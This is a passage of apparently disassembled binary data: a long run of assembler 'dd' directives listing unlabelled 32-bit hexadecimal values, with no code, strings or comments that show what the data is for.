		dd 0C2008619h, 683F293h, 7443BA5h, 0D1639C0Eh, 0D99480F5h
		dd 5F03DA6Fh, 5BDD95AEh, 6AEAB888h, 0F76D0022h,	0B5EE9C27h
		dd 971C1555h, 6045C2E8h, 608020E5h, 0D39533h, 435B9F42h
		dd 0C9E045E6h, 557A2C00h, 7DA6841Ch, 1A170089h,	1FBA9DD7h
		dd 830285B6h, 46682FA7h, 0D5448140h, 0EA68908h,	99CA0119h
		dd 605F8321h, 0C7005E6Ch, 97E2D8ECh, 4C363E6Fh,	550FFC13h
		dd 0DA40E19Eh, 613575CFh, 69FF9900h, 23A54CBDh,	2833E16h
		dd 0C0F89480h, 84578E72h, 2E77BF00h, 9BEAD90Fh,	632500B8h
		dd 494B2FFDh, 738364CEh, 0DAA2012Ch, 71945278h,	90B1F88Dh
		dd 5E694601h, 4F81BE9Dh, 0D9BCFCh, 7A5A5FFFh, 719BA965h
		dd 0E2192E00h, 0F167C82Ah, 502C3BFDh, 6AA2FF80h, 2764E84Fh
		dd 0BE3FA500h, 0A44894BFh, 0F63D001Dh, 0A15B7C4Ch, 8E033CA7h
		dd 94572720h, 1E61E867h, 11491276h, 15E8003Fh, 0E4568EDAh
		dd 0B41FBB79h, 2140A69Fh, 3ED2BFD1h, 2F200B4Bh,	1183D6CDh
		dd 0E6882614h, 810330F7h, 0AA172F0h, 51FE003Ch,	78D529E8h
		dd 521A37B6h, 40183EBCh, 0CD8410h, 7A8AD494h, 0D0F3471Dh
		dd 8615Ch, 46C3979Ch, 0EAD9E79Bh, 0CBFB5C5Eh, 0BFC5002h
		dd 0D0800630h, 0A7F15145h, 1E86D448h, 0CF80526Ch, 159CD6B9h
		dd 0F2461253h, 0C8290095h, 0E7DFE3EAh, 0FB5A9400h, 0BA065C4Fh
		dd 330B002Bh, 1BDCB313h, 6B504D18h, 0FE1322D0h,	0D716CC48h
		dd 60037013h, 99D820F4h, 0EC707415h, 865303FBh,	0C6DE2601h
		dd 0CA3C8AD0h, 0CCE3DD00h, 0F2C8D2F6h, 1DD00728h, 87139217h
		dd 95A38096h, 2F65C15h,	0B70D3116h, 223A8000h, 241B6623h
		dd 2016BA5h, 26EE4876h,	3D4958E0h, 5ED095h, 0A7F2E65h
		dd 60F6F74Fh, 995D7C00h, 69744648h, 5CF573C4h, 9860712Dh
		dd 68064918h, 0DDE53C0Fh, 0C886C04Eh, 59B7505Fh, 0AF00003Fh
		dd 5E323796h, 7C1C1719h, 2A010733h, 0A3C3FE48h,	0F0A330h
		dd 0B1FC4552h, 0F18E8AE9h, 16405300h, 0C2EB9CB5h, 98710178h
		dd 0EDECDC5Fh, 9425E0E4h, 9EC1D300h, 0A3924523h, 0B9C42675h
		dd 18F218A8h, 4C1ECE12h, 564594E6h, 8001567h, 651EE5C3h
		dd 5D044C5Fh, 8035EA1Dh, 14CC1BD6h, 0C301A658h,	26863692h
		dd 0C4810140h, 6D97FDAh, 74BE03Dh, 0DFBB2A0Ah, 998084A4h
		dd 8864360h, 0EFEB6h, 4E49F4Ch,	0F38BB2F4h, 87A5803Bh
		dd 48EEBA7Ch, 949FECF0h, 0F4CB1EFAh, 0AB7F4081h, 0C37AD0DCh
		dd 58603660h, 99C920h, 0C16F41FAh, 3287A7CFh, 0B01C9300h
		dd 67261E68h, 0B40F58F7h, 2CD0790Ah, 70D105D1h,	0AF92C05Eh
		dd 623F7D88h, 0FF6780E2h, 0D9824742h, 21A72B1h,	81CEA776h
		dd 3DC01D0Ah, 0BE0E88ABh, 40C16226h, 0AA8E15F2h, 1FD90F8Ch
		dd 0B963EC6Dh, 0F0979B25h, 972FCCE9h, 0A21D7307h, 69D00B4Dh
		dd 0E5D4668Fh, 3864D220h, 1A806A4Eh, 0ACB35A9Ah, 0A72C018Dh
		dd 0A6002975h, 4F4E14E8h, 0C03D076Ch, 35CB93A3h, 0F7DEC026h
		dd 5B004324h, 0D10235E0h, 42FEB7Eh, 782A972Dh, 86D8804Ch
		dd 1D00F944h, 810B3685h, 39C0DB7h, 47D060DFh, 0C2905FB0h
		dd 0ED2777DAh, 921C808Bh, 4CAEDFD7h, 313F70FEh,	0B5557680h
		dd 79D606BEh, 0AA21E900h, 201E54DFh, 3DA8021Fh,	0DBC46B22h
		dd 2697E0F7h, 0FF14016Ch, 46783797h, 3D37208Ah,	0CA04B673h
		dd 4F4767C0h, 8BD81AC3h
		dd 7876F89Eh, 98420F29h, 2380272Bh, 28C96405h, 0AAFE4400h
		dd 1E8DD9A3h, 81BB004Ah, 0C633F57Fh, 0A2734C43h, 0E1FDA401h
		dd 0E2173E60h, 9C3420h,	140B0C5Ch, 0A2BFD5ECh, 0C00AD6CEh
		dd 2B337E1Ah, 0C03B048Bh, 80A5AC2Ch, 9695E6EEh,	89A6F100h
		dd 3B1882A2h, 873022Ah,	0D9836C87h, 5F27E6C0h, 232BE20Fh
		dd 0D8435E94h, 0D8641F6Dh, 367FC6h, 9A87B575h, 844D558Eh
		dd 1420050Ah, 9400AC54h, 0D563389Bh, 0A0B23B83h, 7781B8C8h
		dd 303313D4h, 59002C41h, 9F0617E4h, 0FC076EEAh,	536903E6h
		dd 6711C9E8h, 23E40580h, 54439024h, 8A108238h, 0E8206A01h
		dd 0E09CA2A4h, 0E4E01ECh, 0F9FFC46Fh, 254438D3h, 0ED6490ACh
		dd 95690041h, 67458DEh,	2C009DF3h, 300E1D7Fh, 4E42224Bh
		dd 72500080h, 5FB439ECh, 5CE1053Ah, 655C038Ch, 0C8DAF27Bh
		dd 0A8EB1Fh, 0CD20116Fh, 0A6AC4D0Ah, 780008B1h,	0A41D1E48h
		dd 0E5AA3062h, 0E439A208h, 0F1DC5D02h, 4845382Bh, 2849A40h
		dd 0D514DA75h, 0F040C1B1h, 1807195Ch, 62D80406h, 4044F870h
		dd 0C8AE002Ch, 2F8E416Bh, 7D7A60B0h, 0D288971Ch, 6000C492h
		dd 1D313C2Bh, 17EB2857h, 46A301E4h, 8A356566h, 0A4982029h
		dd 1C7FD112h, 0EDCDE440h, 36F8ED2h, 77E982DEh, 29262AB6h
		dd 0D627393Ah, 263209DFh, 2AC8FCC3h, 751824FAh,	6E18E9A0h
		dd 3E3705D9h, 65B00Eh, 82050CF1h, 0D0B427CFh, 12F06104h
		dd 0B980F0C7h, 79DBACh,	0BF802E81h, 9A0586A9h, 0D25C8A7Dh
		dd 744A2C09h, 3F026D07h, 0AE93D970h, 1B9C02FBh,	83A93B95h
		dd 80786077h, 139403B4h, 7A77D8B6h, 270CA0B0h, 78CE18F0h
		dd 9DCCC085h, 3E80D9Bh,	37740E3Ch, 63E036C9h, 0B00E23Eh
		dd 93573A50h, 759532h, 0C269E30h, 0C89CC061h, 0B56E304h
		dd 0AE8592CEh, 0F8B96080h, 7AB300CFh, 898F3DD4h, 562C0A21h
		dd 68C003Bh, 127DAA10h,	8716D9h, 613D4FD0h, 0BF00E324h
		dd 0A98C0775h, 0A09EAEh, 3B96D2B8h, 42929B14h, 2435648h
		dd 0D1E47C87h, 0C2988010h, 0E1F8F15h, 25DD7A1Eh, 200CBCE7h
		dd 0BB3E6EBDh, 741FB09Ch, 7971A9C0h, 4B046DAh, 24F0661Eh
		dd 0C28380E9h, 180090E0h, 0D3F38A31h, 2A2810Eh,	54C547CCh
		dd 6CE0441Bh, 3A006007h, 0D3F5014Fh, 0F43CB866h, 739C0525h
		dd 0C78313BDh, 91E68047h, 2C307E20h, 0CF60E099h, 177382h
		dd 0B43609F1h, 0A22F218Bh, 0D777FE01h, 0C7F65F9Eh, 0BF69F8h
		dd 3172D69Bh, 0C6D82687h, 3755A30Ah, 0F980A01Eh, 6F1B9D99h
		dd 0D89B00A4h, 0ED2C3D83h, 3BE9D2DCh, 0ADBF0h, 74E1CF05h
		dd 1A58EFEEh, 3512452Eh, 15240200h, 24E5646Bh, 42472C8h
		dd 83A56293h, 0D4A83831h, 700E0BFh, 0BC115634h,	26C56687h
		dd 94F5572h, 0A448828Bh, 2D00B657h, 0DEA583D1h,	0EF243Dh
		dd 11A7F338h, 0E253AA7Ah, 0A400E4F4h, 0ED5BA16Eh, 85C70Ch
		dd 0AC7DCB7Eh, 0D5B2D902h, 0E00FF918h, 0DC08B8h, 359182B4h
		dd 4AA1866Fh, 1F0D2048h, 81405CCEh, 89A35590h, 0E8280050h
		dd 4F8BC2C6h, 7603AD99h, 0C8884E6Ah, 5C6999EAh,	0FA52FCh
		dd 7E4339F7h, 6DC33C7Dh, 7A17100h, 0E544EEE0h, 0D3CC0119h
		dd 7AA76660h, 0CDFA200Eh, 59E82E00h, 0E3D699E1h, 0A25639BEh
		dd 0F2BD5738h, 0B4D8A680h, 0FD9CE7F7h, 7FA4F00h, 0BC12748h
		dd 8B8C00C3h, 0F8E2668Eh, 8002474h, 6BC21E5h, 0F63B7DD1h
		dd 855C2E3Ch, 37DC01A9h, 0D8410BC2h, 5F0F76DDh,	210DF286h
		dd 4F19FD6Bh, 0F7DEF8h,	0D636A44Ch, 0EFB1ABEDh,	0DCEE3200h
		dd 7A963578h, 1633003Bh, 46C8D0E1h, 0C100FD07h,	1C9F4D8Bh
		dd 3910FF0h, 2A14277Bh,	0DFB84F1Eh, 0E900AE0Eh,	6BEBFEDEh
		dd 420E5h, 375A12BEh, 2F889E16h, 18946100h, 96EACE79h
		dd 50E20087h, 0EF32B5A8h, 14945B7Ch, 334ECB04h,	97869C80h
		dd 780C02ADh, 26E04B99h, 6920A04Ch, 6F0A00D0h, 6E2D6442h
		dd 0E70FE601h, 0C0EA2C52h, 92F5EB5Ah, 7C1D48FDh, 8D6D12h
		dd 0DB434B38h, 0F6E8153Dh, 498FA850h, 0FD001C79h, 0FF5653ECh
		dd 175D557h, 1A4D24A4h,	0FCB2EFD3h, 0AC016E98h,	0A1D1C6F1h
		dd 887C8FF0h, 4B14B904h, 0C05C84D9h, 0B60ABA3Ch, 1B4E4909h
		dd 0F52C6080h, 0C3590166h, 184457CFh, 9FB0EF05h, 31002633h
		dd 0D13464BBh, 1256E10Fh, 2A9395Ch, 27F068F4h, 0E95FE040h
		dd 0C97A5800h, 0C7AC6AC6h, 62E7585Dh, 0CF181C39h, 84C169DAh
		dd 0DC07B05h, 0E980AC0Eh, 24CD3F56h, 3EC927Dh, 3E89E0A7h
		dd 0AD4E2788h, 0EBFF6900h, 81C295A1h, 79380045h, 295F0E0Fh
		dd 8037280h, 0D83ECE89h, 0D6DFF021h, 0CD2F2525h, 446098ABh
		dd 11CE33FAh, 0F7470018h, 2FD2F83h, 44B89BEBh, 42DD429Ah
		dd 63206103h, 8B88D0h, 1FBA2676h, 3FCC1575h, 0F1E40A00h
		dd 0A7F87F27h, 85490028h, 83475813h, 0CC026297h, 0BA5AF9Ch
		dd 2BC8017h, 0C5A430CEh, 0D43F78h, 15209FF4h, 0E6F6196Fh
		dd 7B187204h, 10B0DB67h, 0F4F11C87h, 456243D2h,	1BD8B891h
		dd 7C00FF75h, 16966AF2h, 515571h, 6B24D3E9h, 64F608C0h
		dd 0FC11EB0Ah, 7C00B817h, 0DA1EB5C3h, 606F002Fh, 8E734950h
		dd 0F10794A5h, 2327211Ah, 17B3E277h, 0A8AD0E6h,	491C0070h
		dd 0E797CE82h, 0CD48DB46h, 616E0395h, 887FD83Dh, 2627783Fh
		dd 587E05Ch, 8205C09Bh,	4360C514h, 8D1E2A20h, 28328E1h
		dd 0D4CC394Bh, 27EDC0B0h, 9400DE12h, 17F55E62h,	7E65563Dh
		dd 0AA388600h, 2D9DB588h, 9B713Fh, 514261DFh, 0ACA17FA2h
		dd 0A447509Eh, 0B0E14353h, 7257222Eh, 0D79D0082h, 0C6FF2D37h
		dd 311ECF9Eh, 0C387282Fh, 3F30C20Bh, 7E544974h,	467DC7h
		dd 0D19DCAE5h, 0AA796A42h, 0F597C917h, 9440D8C7h, 726CC8h
		dd 40D670D8h, 0AC3B462Dh, 3CC62400h, 11488D2Ch,	64D90338h
		dd 0A396E283h, 7DDC42FAh, 35173400h, 171B5767h,	2E5D8Ch
		dd 0B6DB0E43h, 0E100AC5Fh, 95EEFF8Ah, 12F45365h, 85F004h
		dd 41479255h, 0E0E940Bh, 40C49013h, 2F78917h, 4BB400E7h
		dd 8B75C66Dh, 3F006428h, 1C530E44h, 0A6832Ah, 13E911ABh
		dd 0CC3489A5h, 0C8E1EBE2h, 0D3DC36Eh, 2D3800BCh, 3AA36450h
		dd 43EA2C21h, 70CB006Bh, 0FC033374h, 0DA88F924h, 53DD2200h
		dd 0BAAA64h, 7BECB96Eh,	34F8D932h, 0F10EC479h, 87A91E8Bh
		dd 9A10EDE4h, 44E0DEh, 0BD35403Bh, 7F83A54h, 888A4300h
		dd 783457CAh, 5DFC22h, 541DE868h, 16D63FEEh, 0D94AA01Fh
		dd 3BA77980h, 7DD56566h, 25A00F2h, 0FFBC3A8Eh, 0A300269Ah
		dd 0B87309C3h, 38BD6C2Ah, 930CD4FAh, 4F7E16A9h,	238BA501h
		dd 78AD5995h, 147334FCh, 90C56139h, 4F1D3706h, 0C27320F6h
		dd 0B60762EAh, 68E3F9D6h, 1D4B25D0h, 0ED7C0049h, 0CBFB85B5h
		dd 6F005F8Fh, 0FA9471B3h, 63E1BAh, 0A23DBC50h, 0DE0A8D18h
		dd 0AF4EA300h, 339D09B5h, 98BF02B3h, 3584DB19h,	7A0DD760h
		dd 7B97B400h, 0CC303A4Bh, 36570976h, 7700AE1Ch,	96BB1F8Dh
		dd 0A6621800h, 554E5326h, 0E02BF590h, 8500FA20h, 9E2A3036h
		dd 0D09380h, 3F45436Eh,	5059765Bh, 28C2B230h, 6C96Ah, 0FF163DA5h
		dd 3FE6F891h, 9226D100h, 0BA5447BFh, 1DD5FC5Ah,	0C07170A6h
		dd 0D22393B4h, 1200825Bh, 42A32DB8h, 0E27CB26Dh, 50A50059h
		dd 1E876E21h, 23008496h, 0CD24EB38h, 0FB2B72h, 0BF74C871h
		dd 0F969542Dh, 7549FE18h, 58E610h, 45409335h, 6E8574C0h
		dd 5FDDED00h
		dd 0CA3727D9h, 8D56007Ah, 4CF8F7E9h, 11003FCDh,	0B38AB409h
		dd 0B2225Fh, 39D00EA4h,	0B97905F1h, 0FA78AB0Fh,	18258015h
		dd 0F643C58h, 0A88C670Ch, 0C043D204h, 952B9B9Eh, 7CE5558h
		dd 0D45148F6h, 626718C0h, 9E0400BEh, 8006689Dh,	5000BCE5h
		dd 1269AC33h, 3F662E2h,	3E04594Fh, 88027541h, 0E1322F44h
		dd 797440C6h, 387D3D4Ch, 0ABE68300h, 0C3A71EAFh, 0C7EE3400h
		dd 1CF1943h, 21081F3Fh,	8B16C071h, 5C70932Dh, 28FF9702h
		dd 40C0531Eh, 67D348h, 4DBA2521h, 0FE341892h, 631B3E12h
		dd 0ED07D003h, 46A4D873h, 477901C1h, 87AB8B70h,	7E40C9E7h
		dd 812EF0h, 456AC034h, 527C335Dh, 46324900h, 0EE922038h
		dd 770500E6h, 106DA8A9h, 9700BA04h, 93B20133h, 1DCA7BE0h
		dd 0C511AF64h, 1C1EE716h, 0F47DDC80h, 0C4800074h, 4A78B2AEh
		dd 0FB6D6E00h, 0AC511C11h, 59670008h, 0BF22992Eh, 3B03BB6h
		dd 824F981Eh, 0EC9F8A00h, 0E7B942Fh, 0E1EF17AEh, 0ABD67860h
		dd 80A0C6CEh, 0A14CC953h, 46948158h, 7EDCFB44h,	7766003Eh
		dd 0C38C7356h, 741C6283h, 9EC24F9Ch, 80EF06A3h,	1D3C3B80h
		dd 288858EAh, 64D64701h, 0D4AA5F86h, 7930A5A7h,	38B4E8E4h
		dd 53CC0946h, 0BC00E38Eh, 0F25CB3A3h, 2267AD00h, 64B9D19Ch
		dd 6DE000FBh, 0BBAB4FCCh, 900840Dh, 0E476DE69h,	1D0A9859h
		dd 400B4A32h, 0A5ECC4AFh, 0BAF069D2h, 0DD87DA24h, 9A06D400h
		dd 0FE6223h, 84C70397h,	4B2CAA98h, 5F5E002h, 8074CAE7h
		dd 0F71A88ACh, 61F2011Bh, 7B05749h, 0BA24CC4Ch,	0DD3B9600h
		dd 0EF894363h, 0FC380F7Ch, 85005E0Ah, 98341093h, 7BAA7703h
		dd 0A5FBD58Bh, 73D2EC05h, 0BD4FAC01h, 3EE813B6h, 0ED1D0F2Dh
		dd 2CC0FFE4h, 0B793B59Bh, 7F753F1Dh, 0E60177C0h, 1CD39E8Ch
		dd 7DC3DC84h, 65F7D0h, 43E8A11Dh, 9C31512Dh, 6F07C500h
		dd 21455EFh, 501B0039h,	0CBDE0CF3h, 671D9166h, 19C0364Eh
		dd 0EC0E260h, 0C348036Ah, 34F08E25h, 0D88191B1h, 0E10017A4h
		dd 4E2A280Ch, 962946h, 0BCC07D79h, 70594456h, 9C89B301h
		dd 1E3B1227h, 46B7EC80h, 6621EC26h, 86C62B00h, 3A10CADDh
		dd 0B4874C3Bh, 0AB89AE80h, 2D009197h, 0B2E32102h, 13CE687Dh
		dd 7FDCB0Ch, 60B657B8h,	80A9D990h, 2B002490h, 0B046EACDh
		dd 5A10227h, 0B061B6Dh,	0A8D10033h, 81977A42h, 0C499C700h
		dd 7D1F66E1h, 0A152006Dh, 2196EB06h, 0F900A787h, 0F8F6C3FCh
		dd 0BD319Dh, 0DCBF2A80h, 4E97597Bh, 5E9AB800h, 0D21535A6h
		dd 0CCA8A068h, 0CDE22E1Dh, 0FF4E0014h, 0D0BDAC05h, 0BB4C7A00h
		dd 0DDCAD43Eh, 993F0075h, 0DB36B24Dh, 0BA281622h, 5B00F352h
		dd 0C651B96h, 338A3FAh,	3FB57F30h, 42885C2Ch, 9D0BCB7Dh
		dd 608855h, 5BBCDD64h, 3F9607D7h, 0F05A86C4h, 0FB5C39F9h
		dd 59B1C700h, 79D6EF44h, 64D3012Fh, 8960C26Ch, 20D0E0BDh
		dd 0F43E6913h, 0B0A1AC00h, 0CFC802h, 932C41B8h,	0AB987B64h
		dd 9707609Ah, 2EC612E1h, 409E6541h, 4AE5F4h, 0EE89BFECh
		dd 13F005F9h, 0B7004CB8h, 21D0A0D6h, 727328h, 0CBD83B67h
		dd 4C2FE10Fh, 9F705809h, 3D9D74DFh, 1C5788Fh, 0FC005BC9h
		dd 32177D57h, 90AA050Bh, 6764801Dh, 6B2624h, 5291F487h
		dd 77D2B22Ch, 8EC89300h, 0A0D0EDA1h, 7A1F1823h,	988C04Fh
		dd 0FC1A4600h, 5EB01B7Ch, 0E3EC25h, 0D8A1B683h,	8FD44B41h
		dd 0A872B102h, 0C0A9B576h, 792A634h, 0ED1F88Ah,	8575D05Eh
		dd 4902EE07h, 7EB51140h, 0FEFCE0CDh, 0B7AB0CB2h, 53832D1h
		dd 3597BD00h, 0DF5ECC0Dh, 0B0C00054h, 0D845B3E6h, 88B82A69h
		dd 86062E00h, 76EBCD23h, 0ED94003Fh, 5E7389DAh,	0B800016Ah
		dd 6EDDD571h, 7363199h,	0B768C327h, 35FAB075h, 5C0017C9h
		dd 78690C58h, 5C48A4ACh, 0FC0C4162h, 0A038DF80h, 21CB4400h
		dd 0C9FEECB1h, 3AF2F8h,	0F76DB63Dh, 0C025ED15h,	0DE801418h
		dd 0F2C230h, 8D22DD0Dh,	25A3C384h, 36500507h, 4800ECB9h
		dd 0E063A9E0h, 2AB0094h, 1646E4D2h, 0EE50F9CFh,	7E2E29F8h
		dd 0BA13B0F6h, 570FF801h, 61808C0Eh, 5FF0329Dh,	72005C41h
		dd 0DCE8551Bh, 24B7CC14h, 988ED7h, 0A57A2DE6h, 0C200F05Fh
		dd 44BF18E8h, 0A7C1D0h,	49C6319Ah, 72705560h, 7877F3Bh
		dd 0E8EA02D1h, 1A083AE0h, 0C920008Ah, 0B839177Ch, 5D3A7926h
		dd 0DC04803Bh, 0AD21973Eh, 607D0FE8h, 34E487A7h, 2F4C8273h
		dd 41BE9C48h, 0BAC0A300h, 85BF016Eh, 0C7E20222h, 751EB2FBh
		dd 708C4660h, 8803F82Eh, 8078730Bh, 46F4311Dh, 2F4C907Fh
		dd 1AC254C8h, 5E80940Eh, 6F1BAC10h, 94348h, 0CEEC79A0h
		dd 5B4B14h, 0D68C29Fh, 509BF148h, 0E4267D03h, 881C5334h
		dd 14479h, 5995EAAEh, 687A54A9h, 64F3475Ch, 0F2C01DFAh
		dd 12C70E39h, 3A9152h, 8F454C4h, 300A994h, 0CDDF442Eh
		dd 3BCBC0h, 0E2D5658Ch,	75EDB9C9h, 0BABE2300h, 89C00C33h
		dd 4DA600E9h, 0D6819A98h, 2B12177Bh, 34C03237h,	58F51451h
		dd 0AE00DDC8h, 22FEF975h, 3A09C43Ch, 8077EAE9h,	0EB486BB8h
		dd 8CB00181h, 56DA1C72h, 0DBFBF890h, 0A0C15177h, 0FC6BE935h
		dd 601434h, 0A7CD779Ch,	0CF949E63h, 0FC864324h,	0D288D906h
		dd 770C00D0h, 0DCFFCDC1h, 6F3F50BBh, 0A2C981B9h, 2FDFE022h
		dd 4D3E968Bh, 3D5F3402h, 2CE43452h, 1A6469C0h, 71223A2h
		dd 3048AE7Fh, 0C497E0BDh, 98C01179h, 0E54EE691h, 3ED5780Bh
		dd 0CCBE5373h, 0DDCEFB82h, 284039A5h, 75003D55h, 90F2EF22h
		dd 3C1234E0h, 6724F1BBh, 6513001Bh, 0AC5E4A42h,	0D7DCA01Eh
		dd 7157440h, 58CEFEB1h,	860050EAh, 0F68A320Eh, 9B1334F4h
		dd 7C001FEFh, 42668970h, 60FA5C46h, 4E7D1800h, 295CF86Bh
		dd 84B13Ch, 98999087h, 30F9658Ah, 41E0E0F5h, 62035D52h
		dd 0DA3F3B51h, 76F9009Ah, 69B5515h, 0AA006043h,	0C1F81B1Ah
		dd 1C659D78h, 81960FCEh, 0A8AF74A6h, 344280Bh, 7F223558h
		dd 999E91h, 956E5D24h, 0EDD9A9DCh, 26611A39h, 0B002CF4h
		dd 0E4A6721h, 37F5139Fh, 52B90160h, 0CD5CD108h,	51B040D9h
		dd 601B0FEh, 0C3A713B1h, 0D450D6BDh, 3FFF59h, 8520E1DDh
		dd 132EF0C2h, 8605A52Eh, 12700307h, 1797BB80h, 381B2CECh
		dd 835A9D48h, 41ADFA79h, 0A2898803h, 0BB269AE4h, 84C1C13Eh
		dd 0B7C170h, 3085B534h,	0EBE7A9D7h, 7FD5B802h, 86C954EAh
		dd 2EB123F8h, 21F9934h,	87C72F26h, 6E783CC0h, 50580D2Ch
		dd 4497F700h, 24196884h, 39CCAED3h, 33E4F180h, 0B86DEF6Ah
		dd 0C6002D74h, 441D5DBBh, 480A3455h, 473D4C8Bh,	0A8611614h
		dd 4BD43D78h, 6C56240Ch, 5E0015D1h, 0C25C2951h,	0FC93B355h
		dd 0AEE50012h, 0CC476401h, 0F600AB35h, 0A5BE92A0h, 0F4C60362h
		dd 334100DDh, 0BD9808A7h, 0A00C9ABh, 0D9CA4C6Eh, 0B547425h
		dd 13BC597Ch, 209BBCA0h, 9A1CA4D2h, 0A6C162BDh,	1F4FEB42h
		dd 0BADC30h, 0C2C67BB6h, 4CD13B9Fh, 0B1813400h,	7D629844h
		dd 1B6059Ch, 0C163799Eh, 21AECB84h, 91F3C8E8h, 0D36A80h
		dd 9E576223h, 0AA357826h, 705C6800h, 0ACA3B730h, 153F1D01h
		dd 68DC07Ch, 25BA8EA6h,	2CF3BD02h, 0E8423DEDh, 0AF4A385h
		dd 98E362B4h, 0DF701FA0h, 67FA8771h, 4112D060h,	1E70DA30h
		dd 0DCEE4EBh, 4902E9F8h, 0BA58E0BDh, 136840EBh,	337D70h
		dd 0C96B5EEAh, 0A81B31B2h, 0BCDF9200h, 446141F2h, 4A01406h
		dd 127EC33Eh, 42935B85h
		dd 79C373D0h, 2871FD00h, 925609FAh, 384032DEh, 0BD1EDA82h
		dd 1412B0A9h, 754FBC02h, 8A70C81Eh, 0B9F401E0h,	64FBD2ABh
		dd 368820EBh, 33DBB58h,	73A77BAEh, 0CB193B5Dh, 80C407A4h
		dd 0AE60631Fh, 0C98AF12h, 2B75B04h, 24D0BECEh, 3E83FF56h
		dd 90509D51h, 5BC0C727h, 0FA6290BBh, 95022FD8h,	244B2550h
		dd 7818665Fh, 0E17F3AADh, 18778B80h, 1B57B84Ch,	31714418h
		dd 120F1588h, 0C1D5E476h, 200A2A3Ch, 83007160h,	0C3E1EC82h
		dd 7420EFB3h, 0B031010Ch, 93A73C5Ch, 6F86D045h,	65E93700h
		dd 7308E69Eh, 2B520083h, 0D2A4F98Dh, 7202DCD4h,	6E96E462h
		dd 8824C340h, 0FE3AA41h, 82E6289Fh, 5BA60960h, 4500F3BAh
		dd 0B5FEAC07h, 7C358ED0h, 12D21311h, 0AE504918h, 38BC6180h
		dd 62581798h, 19A850ECh, 0F2AADD00h, 49752C1Ch,	70F700AEh
		dd 0F8907785h, 9E00E113h, 17598EFEh, 0DC1520A0h, 0D91D0F68h
		dd 0F527C320h, 0B800C513h, 0D18EB654h, 94485E2h, 80F7E1E6h
		dd 3A95A800h, 1D16D90Ch, 960A5CBAh, 2CBBC8A4h, 9B00247Ch
		dd 0EBB5AC8Ah, 0EEE9E825h, 0FC190002h, 0D909C67Dh, 0B1001B7Ch
		dd 586DBB24h, 4CB659h, 7F561C81h, 8294110Fh, 6100EFF4h
		dd 0DAAF333Eh, 5816C89h, 4359DBCDh, 7818C1F8h, 246BE47Eh
		dd 0EBD54403h, 2396717h, 48532E78h, 8C8FF181h, 5844807Eh
		dd 0E715EE6Dh, 0D81FC507h, 6813E94h, 0B4D84F3Fh, 349C0E21h
		dd 0E6097D7h, 577D4228h, 8D2F1400h, 63B8F2FEh, 5E9401CCh
		dd 0F60CF9CBh, 9940606Dh, 684D5D00h, 0B6D1BEFAh, 663C275Fh
		dd 0B02C88h, 0C07509A3h, 1E00DB37h, 0E076D642h,	72FCC7h
		dd 87E2B424h, 7A30C019h, 7D7BAA0Eh, 574F1FA3h, 99374074h
		dd 0DEC53h, 2FDBA680h, 8FA42398h, 0BD33F50Eh, 551B406Eh
		dd 0B05388B5h, 78D04879h, 0E22F7901h, 400DC040h, 7B981DBCh
		dd 0F3052602h, 40EFDA95h, 796C2FBh, 8F4AE102h, 60BEF7DBh
		dd 171AFF3Eh, 33500C00h, 0CDE374D7h, 0F8AB172Ah, 2E4D0091h
		dd 3DCAD6EAh, 5657F326h, 7CFA451Eh, 34230802h, 40B04F9Eh
		dd 8C751108h, 0DE10A60Ah, 1200E8B4h, 7D6B3F90h,	0A9F51869h
		dd 25E7B8FCh, 762DB701h, 26282FEFh, 30E668DCh, 0AF90F1CFh
		dd 0A3005D8Dh, 93060321h, 0B8D497EAh, 6C920F6Ch, 0C0DC8AB6h
		dd 0EF2E69D3h, 607989Ah, 11F8D9E7h, 0D0D857D3h,	0F97FAE0h
		dd 96354859h, 1E185860h, 0A91E0B2Eh, 44FF510h, 8F9C079h
		dd 2475F17Bh, 0BC630Dh,	0BBB81524h, 32003EA3h, 0ABBC0F29h
		dd 1D2E85h, 64FC2380h, 0E0D59B4Dh, 0C0DE686Fh, 0D3F848C5h
		dd 80509C6Ah, 0F6D3D91h, 4200679Bh, 418CE6B5h, 9EB25ECAh
		dd 0A1D40C4h, 471F0636h, 334077C4h, 6EE45305h, 3AE20099h
		dd 0E6DD1881h, 920296BBh, 73673948h, 5E07E0D1h,	3E1FE402h
		dd 138984BDh, 8E2719Fh,	302BC1C1h, 0EF0092D0h, 180D0116h
		dd 74D58D7h, 0AC536DBEh, 0CC5520AEh, 8B006B62h,	0F351435Eh
		dd 13A71A0Ch, 955287h, 0E6B09694h, 0AE77396Ah, 0CD74FB00h
		dd 0FEB9265Bh, 681E001Ah, 0EC43B57Fh, 4E02712Fh, 8C454DF2h
		dd 3C606070h, 0BD2E0764h, 0C05753A6h, 778197CDh, 5A397D00h
		dd 0C2CCD44Ah, 0B6A006Eh, 0F8B4E37h, 0DD7BDA3Eh, 0A73AEAF4h
		dd 29AC80EBh, 867A0247h, 96550182h, 66118359h, 0A2402805h
		dd 0BA89403Ah, 405E5CEDh, 0F62A4904h, 0F4E8E091h, 0DB5AD600h
		dd 0ADE6C694h, 346C3FA7h, 5BC83C80h, 79CE4707h,	44EA5000h
		dd 75A0D7ECh, 0ABE5284Ah, 9A9B26E0h, 0FE500050h, 0A0D926BFh
		dd 16F8D3Ch, 1F45E4BEh,	0F3F45E13h, 5BD0000Eh, 23A248BDh
		dd 0FFF4E71Ch, 3138B5Ch, 7FCF1927h, 7DE39892h, 6F472EAFh
		dd 800D9FA0h, 6D1C7C7Eh, 101EF38Dh, 57C70341h, 2099873Ch
		dd 6895DDB0h, 2940384h,	467704E7h, 82D5210Fh, 679800FEh
		dd 2D2BE89h, 21E26CD9h,	0D8E06F9Ah, 0B774941Ch,	5C7AD480h
		dd 623AAA7Bh, 8FCB1702h, 10802621h, 0A9A0630h, 28C20C01h
		dd 17C3ACF4h, 30E179D0h, 47507387h, 6260414Dh, 0D368E4C1h
		dd 90FA3AF2h, 3CB1C500h, 0FDCD8EB8h, 0F5F74C00h, 0F97AD6BBh
		dd 0DCEE00F3h, 0B733C7BDh, 731CF8F0h, 0E70EC2CAh, 2DA08054h
		dd 1FB8F924h, 0C093A9D3h, 64A33516h, 977DBAECh,	34CE300h
		dd 9E3AC3DFh, 0E28603D9h, 8844452Fh, 8CFB4A1Dh,	0EF40991Eh
		dd 0E321A5D5h, 0F5A203B5h, 484BE9F1h, 46992810h, 9100CDC8h
		dd 0D75E679Fh, 9F6EAA6h, 2E9C33CFh, 0AB34FE80h,	0F90049D4h
		dd 0C425081Ch, 0A18B4Ah, 30D0AC9h, 0E5A88B8h, 60A6DA00h
		dd 1D624DD1h, 89933EF5h, 0E5CB5801h, 0D89808E9h, 0AA065278h
